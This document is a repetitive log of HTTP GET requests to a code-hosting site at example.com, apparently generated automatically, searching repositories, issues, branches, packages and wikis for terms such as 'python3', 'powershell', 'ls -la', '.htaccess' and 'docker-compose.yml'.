{"method": "GET", "target": "/avatars/53bce4f1dfa0fe8e7ca126f91b35d3a6?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice?tab=repositories&q=python3", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=python3&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/wiki/search?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/repos?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/code?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/pulls?state=open&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/issues?type=your_repositories&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/branches?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/users?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/organizations?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice?tab=repositories&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=powershell&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/wiki/search?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/repos?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/code?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/pulls?state=open&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/issues?type=your_repositories&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/branches?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/users?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/organizations?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=ls%20-la&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/wiki/search?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/repos?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/code?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/pulls?state=open&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/issues?type=your_repositories&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/branches?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/users?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/organizations?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice?tab=repositories&q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=.htaccess&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/wiki/search?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/repos?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/code?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/pulls?state=open&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/issues?type=your_repositories&q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/branches?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/users?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/explore/organizations?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
